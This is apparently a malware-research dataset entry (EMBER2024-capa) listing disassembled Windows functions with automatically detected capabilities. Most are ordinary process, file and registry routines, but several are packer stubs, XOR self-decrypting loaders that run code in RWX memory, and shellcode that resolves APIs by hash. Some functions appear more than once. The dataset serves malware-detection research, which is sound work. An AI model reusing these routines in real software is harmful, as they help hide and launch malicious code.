joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4ca8d4
Capabilities:
Get common file path
Get file version info

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffdd8
push ebx
xor eax, eax
mov dword [ebp - 0x224], eax
mov dword [ebp - 0x228], eax
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x4caa09
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebp - 5], 0
call fcn.004ca8a0
test al, al
je 0x4ca9e1
push 0x208
lea eax, [ebp - 0x220]
push eax
call sub.kernel32.dll_GetSystemDirectoryW
lea edx, [ebp - 0x228]
lea eax, [ebp - 0x220]
call fcn.004213c0
mov eax, dword [ebp - 0x228]
lea edx, [ebp - 0x224]
call fcn.004286b0
mov edx, dword [ebp - 0x224]
lea eax, [ebp - 4]
mov ecx, 0x4caa28
call fcn.0040adf4
lea eax, [ebp - 0x10]
push eax
mov eax, dword [ebp - 4]
call fcn.0040aba8
mov ebx, eax
push ebx
call sub.version.dll_GetFileVersionInfoSizeW
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jbe 0x4ca9e1
mov eax, dword [ebp - 0xc]
call fcn.00406f60
mov dword [ebp - 0x14], eax
xor edx, edx
push ebp
push 0x4ca9da
push dword fs:[edx]
mov dword fs:[edx], esp
mov eax, dword [ebp - 0x14]
push eax
mov eax, dword [ebp - 0xc]
push eax
push 0
push ebx
call sub.version.dll_GetFileVersionInfoW
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x18]
push eax
push 0x4caa44
mov eax, dword [ebp - 0x14]
push eax
call sub.version.dll_VerQueryValueW
mov eax, dword [ebp - 0x18]
movzx eax, word [eax + 0xc]
cmp ax, 0x2a3
setae byte [ebp - 5]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4ca9e1
mov edx, dword [ebp - 0xc]
mov eax, dword [ebp - 0x14]
call fcn.00406f7c
pop eax
jmp eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4caa10
lea eax, [ebp - 0x228]
mov edx, 2
call fcn.0040a1a4
lea eax, [ebp - 4]
call fcn.0040a144
pop eax
jmp eax

Function at 0x432000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43200c
nop
nop
nop
nop
nop
pop eax
nop
add eax, 0x40729f
sub eax, 0x407245
nop
nop
nop
nop
nop
mov ebx, dword [eax]
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
add ebx, 4
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
nop
jl 0x432030
nop
nop
nop
nop
nop
add eax, 0xc
nop
nop
cmp dword [eax], 0
nop
nop
nop
jne 0x43201e
nop
nop
nop
nop
nop
nop
nop
popal
jmp 0x431219
Function at 0x40632d
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
pushal
call 0x40633c
pop dword [ebp - 8]
mov eax, 0x25fb3c16
add eax, 0xda452726
sub dword [ebp - 8], eax
mov dword [ebp - 0x18], 0x198f16ac
add dword [ebp - 0x18], 0x34c32e9f
mov dword [ebp - 0x14], 0x57c23d18
sub dword [ebp - 0x14], 0x258ef0d3
mov dword [ebp - 0x10], 0x38270c0f
sub dword [ebp - 0x10], 0xebdac7e1
mov dword [ebp - 0xc], 0xdc46ba8e
sub dword [ebp - 0xc], 0xdc46ba8e
lea eax, [ebp - 0x18]
push eax
mov eax, 0x9e6845e4
add eax, 0x61d82a7c
add eax, dword [ebp - 8]
call dword [eax]
mov dword [ebp - 0x18], 0xc8835ae6
add dword [ebp - 0x18], 0xabef0e70
mov dword [ebp - 0x14], 0x802aeb5f
sub dword [ebp - 0x14], 0x3ebe89ea
mov dword [ebp - 0x10], 0x540e25e7
sub dword [ebp - 0x10], 0xf09eb97b
mov dword [ebp - 0xc], 0x5fbccdd4
sub dword [ebp - 0xc], 0x5fbccdd4
lea ebx, [ebp - 0x18]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 8]
call dword [eax]
push 0x40
push 0x1000
push 0x31be5
push 0
call eax
mov ecx, 0x3480
mov esi, eax
mov edx, 0xe010e76e
add edx, 0x20301892
add edx, dword [ebp - 8]
mov edi, 0xb1eaaba5
sub edi, 0xadcf62cf
add dword [ebp - 4], ecx
mov ebx, dword [edx]
add dword [ebp - 4], 0xfe124134
sub ebx, edi
add dword [ebp - 4], 0xe02bee48
mov dword [esi], ebx
xor dword [ebp - 4], esi
add esi, 4
add edx, 4
loop 0x406453
add eax, 0xc4d3
xor ebx, ebx
add ebx, eax
add eax, 0x87361956
add eax, 0x78c9e6af
mov ecx, 0x400000
add ecx, dword [ebp - 8]
call ebx
leave
ret

Function at 0x4065b0
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x40c17c]
jne 0x4065ba
repz ret
jmp fcn.00406941
Function at 0x401053
Capabilities:
Accept command line arguments
Create process on windows
Write and execute a file
Write file on windows

Disassembly:
push edi
xor eax, eax
lea edi, [esp + 8]
and esp, 0xfffffff0
push dword [edi - 4]
push ebp
mov ebp, esp
push edi
xor edi, edi
push esi
lea esi, [ebp - 0x428]
push ebx
lea ebx, [ebp - 0x220]
sub esp, 0x48c
mov dword [ebp - 0x460], edi
mov dword [ebp - 0x458], edi
mov dword [ebp - 0x464], esi
mov dword [ebp - 0x45c], 0x104
mov dword [esp + 8], 0x104
mov dword [esp + 4], ebx
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
sub esp, 0xc
mov ecx, eax
test ecx, ecx
je 0x4010d2
dec ecx
mov ax, word [ebx + ecx*2]
cmp ax, 0x2f
je 0x4010c5
cmp ax, 0x5c
jne 0x4010b0
mov edx, ebx
lea eax, [ebp - 0x464]
call section..text
movaps xmm0, xmmword [str._busyboxbox.exe]
movaps xmm1, xmmword [0x403010]
mov ecx, 0xd
lea edx, [ebp - 0x442]
lea eax, [ebp - 0x464]
movups xmmword [ebp - 0x442], xmm0
movups xmmword [ebp - 0x438], xmm1
call section..text
cmp dword [ebp - 0x458], 0
je 0x40114b
mov dword [esp], 0xfffffff4
xor esi, esi
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push ecx
mov dword [esp + 0x10], esi
mov dword [esp + 0xc], ebx
mov dword [esp + 8], 0x25
mov dword [esp + 4], str.w64devkit:_busybox.exe_path_too_long_n
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, 0x17e
sub esp, 0x14
jmp 0x401213
xor eax, eax
lea edi, [ebp - 0x21c]
mov ecx, 0x10
rep stosd dword es:[edi], eax
xor edi, edi
mov dword [ebp - 0x220], 0x44
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
lea edx, [ebp - 0x454]
mov dword [esp + 0x20], ebx
lea ebx, [ebp - 0x468]
mov dword [esp + 0x24], edx
xor edx, edx
mov dword [esp + 0x1c], edi
mov dword [esp + 0x18], edi
mov dword [esp + 0x14], edi
mov dword [esp + 0x10], 1
mov dword [esp + 0xc], edx
mov dword [esp + 8], edx
mov dword [esp + 4], eax
mov dword [esp], esi
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
sub esp, 0x28
test eax, eax
jne 0x4011df
mov dword [esp], 0xfffffff4
xor esi, esi
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push ecx
mov dword [esp + 0x10], esi
mov dword [esp + 0xc], ebx
mov dword [esp + 8], 0x27
mov dword [esp + 4], str.w64devkit:_could_not_start_busybox.exe_n
jmp 0x401135
mov dword [esp + 4], 0xffffffff
mov eax, dword [ebp - 0x454]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push eax
push eax
mov dword [esp + 4], ebx
mov eax, dword [ebp - 0x454]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
push edx
push edx
mov eax, dword [ebp - 0x468]
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
lea esp, [edi - 8]
pop edi
ret
Function at 0x401a40
Capabilities:
Write file on windows

Disassembly:
mov edx, dword [esp + 8]
mov ecx, dword [ecx]
lea eax, [esp + 8]
push 0
push eax
mov eax, dword [esp + 0xc]
push edx
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_WriteFile]
ret 8

Function at 0x4400c9
Capabilities:
Encrypt data using dpapi

Disassembly:
push esi
push edi
push 0x46c6d0
push str.AdvApi32.dll
call main
mov edi, dword [sym.imp.kernel32.dll_GetProcAddress]
mov esi, eax
test esi, esi
js 0x44010c
push str.SystemFunction040
push dword [0x46c6d0]
call edi
push str.SystemFunction041
push dword [0x46c6d0]
mov dword [0x46c6c0], eax
call edi
mov dword [0x46c6c4], eax
jmp 0x440111
mov eax, dword [0x46c6c4]
cmp dword [0x46c6c0], 0
je 0x440122
test eax, eax
jne 0x4401c9
push 0x46c6d4
push str.Crypt32.dll
call main
mov esi, eax
test esi, esi
js 0x4401d3
push str.CryptProtectMemory
push dword [0x46c6d4]
call edi
cmp dword [0x46c6c0], 0
mov dword [0x46c6c8], eax
jne 0x440187
test eax, eax
jne 0x440187
call dword [sym.imp.kernel32.dll_GetLastError]
mov esi, eax
test esi, esi
jle 0x440171
movzx esi, si
or esi, 0x80070000
test esi, esi
js 0x440178
mov esi, 0x80004005
push esi
push 0x28
push str.c:_agent_work138_s_srclibsdutilcryputil.cpp
call fcn.004038f5
jmp 0x4401d3
push str.CryptUnprotectMemory
push dword [0x46c6d4]
call edi
cmp dword [0x46c6c4], 0
mov dword [0x46c6cc], eax
jne 0x4401c9
test eax, eax
jne 0x4401c9
call dword [sym.imp.kernel32.dll_GetLastError]
mov esi, eax
test esi, esi
jle 0x4401bd
movzx esi, si
or esi, 0x80070000
test esi, esi
js 0x4401c4
mov esi, 0x80004005
push esi
push 0x2d
jmp 0x44017b
mov dword [0x46c6d8], 1
pop edi
mov eax, esi
pop esi
ret

Function at 0x44112a
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
pushal
call 0x441139
pop dword [ebp - 0x10]
mov eax, 0x440cfa41
sub eax, 0x43c8e908
sub dword [ebp - 0x10], eax
push 0x40
push 0x1000
push 0x4ebca
push 0
mov eax, sym.imp.kernel32.dll_VirtualAlloc
add eax, dword [ebp - 0x10]
call dword [eax]
mov ecx, 0x9e5e4b3b
sub ecx, 0x9e5e08b0
mov edx, eax
mov ebx, 0x479388e7
sub ebx, 0x474c2ae7
add ebx, dword [ebp - 0x10]
mov esi, 0x503fbad7
add esi, 0xe791e054
add dword [ebp - 0xc], esi
mov edi, dword [ebx]
sub dword [ebp - 4], 0xafa01279
xor edi, esi
xor dword [ebp - 8], 0x45ecadb3
mov dword [edx], edi
add dword [ebp - 0xc], 0x6050818
add edx, 0x63d7d873
sub edx, 0x63d7d86f
add ebx, 4
loop 0x441193
add eax, 0x648fb08
add eax, 0xf9b801f7
mov ebx, eax
add eax, 0x26165934
add eax, 0xd9e9a6d1
mov ecx, 0x400000
add ecx, dword [ebp - 0x10]
call ebx
leave
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x480a8e
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push edi
call fcn.004681a7
mov esi, dword [ebp + 8]
push 2
mov edi, eax
lea eax, [ebp - 4]
push eax
mov ecx, esi
and ecx, 0x3ff
push 0x20000001
or ecx, 0x400
push ecx
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
jne 0x480ac6
xor eax, eax
jmp 0x480af2
cmp esi, dword [ebp - 4]
je 0x480aef
cmp dword [ebp + 0xc], 0
je 0x480aef
push dword [edi + 0x9c]
call fcn.0048069c
push dword [edi + 0x9c]
mov esi, eax
call fcn.00465be2
pop ecx
pop ecx
cmp esi, eax
je 0x480ac2
xor eax, eax
inc eax
pop edi
pop esi
leave
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x409e8c
Capabilities:
Create process on windows
Create process suspended

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffa8
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 4], ebx
mov edi, ecx
mov esi, edx
mov ebx, eax
xor eax, eax
push ebp
push 0x409f5f
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x409f78
push ebx
push 0x409f84
push esi
lea eax, [ebp - 4]
mov edx, 4
call fcn.004033b4
lea eax, [ebp - 0x48]
xor ecx, ecx
mov edx, 0x44
call fcn.0040277c
mov dword [ebp - 0x48], 0x44
lea eax, [ebp - 0x58]
push eax
lea eax, [ebp - 0x48]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
mov eax, dword [ebp - 4]
call fcn.00403414
push eax
push 0
call sub.kernel32.dll_CreateProcessA
test eax, eax
jne 0x409f0c
mov al, 0x6a
call fcn.00409ae8
mov eax, dword [ebp - 0x54]
push eax
call sub.kernel32.dll_CloseHandle_1
call fcn.00409e60
push 0xff
push 0xffffffffffffffff
push 0
lea eax, [ebp - 0x58]
push eax
push 1
call sub.user32.dll_MsgWaitForMultipleObjects
dec eax
je 0x409f15
call fcn.00409e60
push edi
mov eax, dword [ebp - 0x58]
push eax
call sub.kernel32.dll_GetExitCodeProcess
mov eax, dword [ebp - 0x58]
push eax
call sub.kernel32.dll_CloseHandle_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x409f66
lea eax, [ebp - 4]
call fcn.00403198
ret

Function at 0x40a018
Capabilities:
Allocate or change rwx memory
Get system information on windows

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xffffffbc
mov edi, eax
lea esi, [esp + 0x28]
lea eax, [esp + 4]
push eax
call sub.kernel32.dll_GetSystemInfo
mov ebx, edi
push 0x1c
push esi
push ebx
call sub.kernel32.dll_VirtualQuery
test eax, eax
je 0x40a0cc
jmp 0x40a0c1
cmp dword [esi + 0x10], 0x1000
jne 0x40a0ad
test byte [esi + 0x15], 1
jne 0x40a0ad
xor ebx, ebx
mov eax, dword [esi + 0x14]
cmp eax, 1
je 0x40a06c
cmp eax, 2
je 0x40a06c
cmp eax, 0x10
je 0x40a06c
cmp eax, 0x20
jne 0x40a081
push esp
push 0x40
mov eax, dword [esi + 0xc]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_VirtualProtect
test eax, eax
je 0x40a081
mov bl, 1
xor ebp, ebp
jmp 0x40a092
mov eax, dword [esi]
add eax, ebp
call fcn.0040a010
add ebp, dword [esp + 8]
cmp ebp, dword [esi + 0xc]
jb 0x40a085
test bl, bl
je 0x40a0ad
push esp
mov eax, dword [esp + 4]
push eax
mov eax, dword [esi + 0xc]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_VirtualProtect
mov eax, dword [esi]
add eax, dword [esi + 0xc]
mov ebx, eax
push 0x1c
push esi
push ebx
call sub.kernel32.dll_VirtualQuery
test eax, eax
je 0x40a0cc
mov eax, dword [esi + 4]
cmp eax, edi
je 0x40a044
add esp, 0x44
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x42f1c7
Capabilities:
Terminate process

Disassembly:
jmp 0x434910
jmp fcn.00442b40
cmp ecx, dword [0x4a2050]
jne 0x43491a
repz ret
jmp 0x42f6c2
Function at 0x64b881
Capabilities:
Resolve function by hash

Disassembly:
mov eax, dword fs:[0x30]
test eax, eax
js 0x64b897
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x1c]
lodsd eax, dword [esi]
mov ebx, dword [eax + 8]
jmp 0x64b8a0
mov eax, dword [eax + 0x34]
mov ebx, dword [eax + 0xb8]
pop esi
add esi, 3
push ebx
mov edx, 0xec0e4e8e
call esi
push eax
mov edx, 0x7c0dfcaa
call esi
push eax
push edi
mov edx, 0x4ee4a045
call esi
xor edx, edx
push edx
push 0x6d756369
push 0x6c656167
push esp
push edx
push edx
call eax
push eax
mov edx, 0x75da1966
call esi
call eax
xchg edi, eax
mov edx, 0xffd97fb
call esi
call eax
cmp edi, 0xb7
jne 0x64b8ef
mov esp, ebp
popal
ret
call fcn.0064b910
sti
xchg edi, eax
std
pcmpeqd mm5, qword [ebp - 0x50]
inc ebp
jb 0x64b8fc
mov bl, 0x16
mov eax, dword [0xd2d83d6a]
invalid

Function at 0x64bf4b
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
push edx
push ebx
call dword [edi + 0x30]
push edi
push eax
or esi, esi
jne 0x64bf64
pop eax
cmp byte [ebx + eax - 1], 0x5c
jne 0x64bf72
dec eax
jmp 0x64bf72
push esi
call dword [edi + 0x30]
xchg ecx, eax
pop eax
lea edi, [ebx + eax]
add eax, ecx
inc ecx
rep movsb byte es:[edi], byte [esi]
call 0x64bf7c
pop esp
sub ch, byte [esi]
sub al, byte [eax]
pop esi
lea edi, [ebx + eax]
push edi
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
pop esi
inc esi
pop edi
push ebx
push esi
push dword [ebp - 4]
push ebx
call dword [edi + 0x38]
mov byte [esi], 0
cmp eax, 0xffffffff
je 0x64c003
mov esi, eax
mov ebx, dword [ebp - 4]
test byte [ebx], 0x10
lea ebx, [ebx + 0x2c]
je 0x64bfba
cmp byte [ebx], 0x2e
je 0x64bfea
push esi
mov edx, dword [ebp - 4]
mov esi, ebx
mov ebx, dword [ebp - 8]
call fcn.0064bf4b
pop esi
jmp 0x64bfea
push ebx
call dword [edi + 0x30]
push eax
call 0x64bfc9
js 0x64c02d
add byte [ebp + 0x51fc034c], cl
call dword [edi + 0x34]
or eax, eax
pop ecx
jne 0x64bfea
push esi
push edi
mov esi, ebx
mov edi, dword [ebp - 0xc]
inc ecx
rep movsb byte es:[edi], byte [esi]
pop edi
mov eax, dword [ebp - 8]
call fcn.0064c005
pop esi
mov ebx, dword [ebp - 0xc]
mov byte [ebx], 0
push dword [ebp - 4]
push esi
push 1
call dword [edi]
call dword [edi + 0x3c]
or eax, eax
jne 0x64bf99
push esi
call dword [edi + 0x40]
leave
ret
jae 0x64c09a
jb 0x64c09f
insb byte es:[edi], dx
js 0x64c09b
invalid
Function at 0x64bf7c
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
push edx
push ebx
call dword [edi + 0x30]
push edi
push eax
or esi, esi
jne 0x64bf64
pop eax
cmp byte [ebx + eax - 1], 0x5c
jne 0x64bf72
dec eax
jmp 0x64bf72
push esi
call dword [edi + 0x30]
xchg ecx, eax
pop eax
lea edi, [ebx + eax]
add eax, ecx
inc ecx
rep movsb byte es:[edi], byte [esi]
call 0x64bf7c
pop esp
sub ch, byte [esi]
sub al, byte [eax]
pop esi
lea edi, [ebx + eax]
push edi
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
pop esi
inc esi
pop edi
push ebx
push esi
push dword [ebp - 4]
push ebx
call dword [edi + 0x38]
mov byte [esi], 0
cmp eax, 0xffffffff
je 0x64c003
mov esi, eax
mov ebx, dword [ebp - 4]
test byte [ebx], 0x10
lea ebx, [ebx + 0x2c]
je 0x64bfba
cmp byte [ebx], 0x2e
je 0x64bfea
push esi
mov edx, dword [ebp - 4]
mov esi, ebx
mov ebx, dword [ebp - 8]
call fcn.0064bf4b
pop esi
jmp 0x64bfea
push ebx
call dword [edi + 0x30]
push eax
call 0x64bfc9
js 0x64c02d
add byte [ebp + 0x51fc034c], cl
call dword [edi + 0x34]
or eax, eax
pop ecx
jne 0x64bfea
push esi
push edi
mov esi, ebx
mov edi, dword [ebp - 0xc]
inc ecx
rep movsb byte es:[edi], byte [esi]
pop edi
mov eax, dword [ebp - 8]
call fcn.0064c005
pop esi
mov ebx, dword [ebp - 0xc]
mov byte [ebx], 0
push dword [ebp - 4]
push esi
push 1
call dword [edi]
call dword [edi + 0x3c]
or eax, eax
jne 0x64bf99
push esi
call dword [edi + 0x40]
leave
ret
jae 0x64c09a
jb 0x64c09f
insb byte es:[edi], dx
js 0x64c09b
invalid

Function at 0x64c005
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
xor edx, edx
push edx
push edx
push 3
push edx
push 1
push 0xc0000000
push eax
mov esi, eax
push esi
call dword [edi + 0x30]
lea esi, [esi + eax - 0xc]
push esi
call fcn.0064c037
outsb dx, byte [esi]
je 0x64c09c

Function at 0x64c037
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
call dword [edi + 0x34]
or eax, eax
jne 0x64c040
leave
call dword [edi + 0x44]
mov ebx, eax
inc ebx
jne 0x64c052
dec ebx
push 0x40
pop esi
sub esp, esi
mov edx, esp
push 0
push esp
push esi
push edx
push ebx
call dword [edi + 0x48]
cmp dword [esp - 4], esi
jne 0x64c048
cmp word [esp], 0x5a4d
jne 0x64c048
cmp byte [esp + 0x32], 0x56
je 0x64c048
push eax
add esp, esi
pop esi
mov dword [ebp - 0x1c], esi
push 0
push 0
push esi
push ebx
call dword [edi + 0x50]
inc eax
je 0x64c048
sub esp, 0x58
mov edx, esp
push 0
push esp
push 0x58
push edx
push ebx
call dword [edi + 0x48]

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x402ec0
Capabilities:
Delete registry key
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
push ebx
push esi
lea eax, [ebp - 4]
push edi
push eax
mov eax, dword [0x4263f0]
or al, 8
xor ebx, ebx
push eax
push ebx
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
cmp eax, ebx
jne 0x402f54
mov esi, dword [sym.imp.ADVAPI32.dll_RegEnumKeyA]
mov edi, 0x105
jmp 0x402f11
cmp dword [ebp + 0x10], ebx
jne 0x402f48
lea eax, [ebp - 0x10c]
push ebx
push eax
push dword [ebp - 4]
call fcn.00402ec0
test eax, eax
jne 0x402f23
lea eax, [ebp - 0x10c]
push edi
push eax
push ebx
push dword [ebp - 4]
call esi
test eax, eax
je 0x402ef8
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 2
call fcn.004065ea
cmp eax, ebx
je 0x402f5b
push ebx
push dword [0x4263f0]
push dword [ebp + 0xc]
push dword [ebp + 8]
call eax
jmp 0x402f54
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
inc eax
pop edi
pop esi
pop ebx
leave
ret 0xc
cmp dword [0x4263f0], ebx
jne 0x402f51
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
test eax, eax
jne 0x402f51
jmp 0x402f54
Function at 0x4032e5
Capabilities:
Check for time delay via gettickcount
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
push ebx
push esi
mov esi, dword [ebp + 0x14]
push edi
mov edi, dword [ebp + 0x10]
mov dword [ebp - 8], esi
test edi, edi
jne 0x403302
mov dword [ebp - 8], 0x8000
and dword [ebp - 4], 0
mov ebx, edi
test edi, edi
jne 0x403311
mov ebx, 0x4108e8
mov eax, dword [ebp + 8]
test eax, eax
jl 0x403326
mov ecx, dword [0x426398]
add ecx, eax
push ecx
call fcn.0040350a
lea eax, [ebp + 0x14]
push 4
push eax
call fcn.004034d8
test eax, eax
je 0x403483
test byte [ebp + 0x17], 0x80
je 0x40346c
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, 0x40c858
mov dword [ebp - 0xc], eax
call fcn.004066ca
and dword [ebp + 0x14], 0x7fffffff
mov eax, dword [ebp + 0x14]
mov dword [ebp + 8], eax
jle 0x4034ce
mov esi, 0x4000
cmp dword [ebp + 0x14], esi
jge 0x403376
mov esi, dword [ebp + 0x14]
mov edi, 0x40c8e8
push esi
push edi
call fcn.004034d8
test eax, eax
je 0x403483
sub dword [ebp + 0x14], esi
mov dword [0x40c870], edi
mov dword [0x40c874], esi
mov eax, dword [ebp - 8]
mov ecx, 0x40c858
mov dword [0x40c878], ebx
mov dword [0x40c87c], eax
call fcn.004066ea
test eax, eax
mov dword [ebp - 0x14], eax
jl 0x403464
mov esi, dword [0x40c878]
sub esi, ebx
call dword [sym.imp.KERNEL32.dll_GetTickCount]
test byte [0x4263f4], 1
mov edi, eax
je 0x403418
sub eax, dword [ebp - 0xc]
cmp eax, 0xc8
ja 0x4033e5
cmp dword [ebp + 0x14], 0
jne 0x403418
mov eax, dword [ebp + 8]
push dword [ebp + 8]
sub eax, dword [ebp + 0x14]
push 0x64
push eax
call dword [sym.imp.KERNEL32.dll_MulDiv]
push eax
lea eax, [ebp - 0x54]
push str....__d__
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea eax, [ebp - 0x54]
push eax
push 0
call fcn.00405395
mov dword [ebp - 0xc], edi
xor eax, eax
cmp esi, eax
je 0x403459
cmp dword [ebp + 0x10], eax
jne 0x403441
push eax
lea eax, [ebp - 0x10]
push eax
push esi
push ebx
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x403468
cmp dword [ebp - 0x10], esi
jne 0x403468
add dword [ebp - 4], esi
jmp 0x40344d
add dword [ebp - 4], esi
sub dword [ebp - 8], esi
mov ebx, dword [0x40c878]
cmp dword [ebp - 0x14], 1
jne 0x403399
jmp 0x4034ce
cmp dword [ebp + 0x14], eax
jg 0x403369
jmp 0x4034ce
push 0xfffffffffffffffc
jmp 0x403485
push 0xfffffffffffffffe
jmp 0x403485
test edi, edi
je 0x4034c3
cmp dword [ebp + 0x14], esi
jge 0x403478
mov esi, dword [ebp + 0x14]
push esi
push edi
call fcn.004034d8
test eax, eax
jne 0x4034cb
push 0xfffffffffffffffd
pop eax
jmp 0x4034d1
mov esi, dword [ebp - 8]
cmp dword [ebp + 0x14], esi
jge 0x403493
mov esi, dword [ebp + 0x14]
mov edi, 0x40c8e8
push esi
push edi
call fcn.004034d8
test eax, eax
je 0x403483
lea eax, [ebp + 0x10]
push 0
push eax
push esi
push edi
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x403468
cmp esi, dword [ebp + 0x10]
jne 0x403468
add dword [ebp - 4], esi
sub dword [ebp + 0x14], esi
cmp dword [ebp + 0x14], 0
jg 0x403488
jmp 0x4034ce
mov dword [ebp - 4], esi
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
leave
ret 0x10
Function at 0x40588d
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
lea eax, [ebp - 0x10]
mov dword [0x423538], 0x44
push eax
xor eax, eax
push 0x423538
push eax
push eax
push eax
push eax
push eax
push eax
push dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x4058c8
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x10]
leave
ret 4

Function at 0x405952
Capabilities:
Delete directory
Delete file
Set file attributes

Disassembly:
push esi
mov esi, dword [esp + 8]
push edi
push esi
call fcn.00405d9b
mov edi, eax
cmp edi, 0xffffffff
je 0x405993
test byte [esp + 0x10], 1
push esi
je 0x405975
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
jmp 0x40597b
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
je 0x405984
xor eax, eax
inc eax
jmp 0x405995
test byte [esp + 0x10], 4
jne 0x405993
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
xor eax, eax
pop edi
pop esi
ret 8